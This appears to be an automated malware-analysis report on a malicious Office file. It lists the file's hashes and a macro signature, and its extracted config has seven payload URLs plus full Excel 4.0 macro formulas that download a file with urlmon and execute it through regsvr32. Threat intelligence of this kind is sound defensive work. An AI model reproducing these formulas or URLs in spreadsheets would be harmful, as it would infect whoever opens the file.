General
-
Target
81e1347ba199af0b2d38b5607409c79b18174a1716c9d868294a62db1feb6f84
-
Size
50KB
-
MD5
3eefbc55088543333fdf1796999e9aa0
-
SHA1
be2136adabd708a828dddd89b2e2d3c43cef59b5
-
SHA256
81e1347ba199af0b2d38b5607409c79b18174a1716c9d868294a62db1feb6f84
-
SHA512
e18de9c4758f6e855e0e29030e8eeb168fdda958904edadd6d067e2de3c47b72dd08a71d553fd96c2b134b06d654eb1b809db9a004632fa9192421eead74e0e6
-
SSDEEP
768:Gx9D9onkH+lSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KA0Zl:GXD9oencDSmSIBlGeuSEcm2h0BZl
Malware Config
Extracted
http://actividades.laforetlanguages.com/wp-admin/WQNAwrWi77MV8a05fia/
http://consejosdeorlando.com/wp-includes/mMaIlj99Y1C1sYN/
http://aopda.org/wp-content/uploads/KXc3Agu18w/
http://agenciaml.com.br/wp-content/lMGfW5Wk09k/
http://advogadogoiania.com.br/wp-includes/VTz0V6D/
http://101.53.142.76/ApcCache/FiXQvn/
https://www.agenciaigual.com.br/Novo2017/yTZMu9FxcyHYFUkb/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://actividades.laforetlanguages.com/wp-admin/WQNAwrWi77MV8a05fia/","..\en.ocx",0,0) =IF('DEFGW'!G9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://consejosdeorlando.com/wp-includes/mMaIlj99Y1C1sYN/","..\en.ocx",0,0)) =IF('DEFGW'!G11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/KXc3Agu18w/","..\en.ocx",0,0)) =IF('DEFGW'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://agenciaml.com.br/wp-content/lMGfW5Wk09k/","..\en.ocx",0,0)) =IF('DEFGW'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://advogadogoiania.com.br/wp-includes/VTz0V6D/","..\en.ocx",0,0)) =IF('DEFGW'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://101.53.142.76/ApcCache/FiXQvn/","..\en.ocx",0,0)) =IF('DEFGW'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.agenciaigual.com.br/Novo2017/yTZMu9FxcyHYFUkb/","..\en.ocx",0,0)) =IF('DEFGW'!G21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\en.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
81e1347ba199af0b2d38b5607409c79b18174a1716c9d868294a62db1feb6f84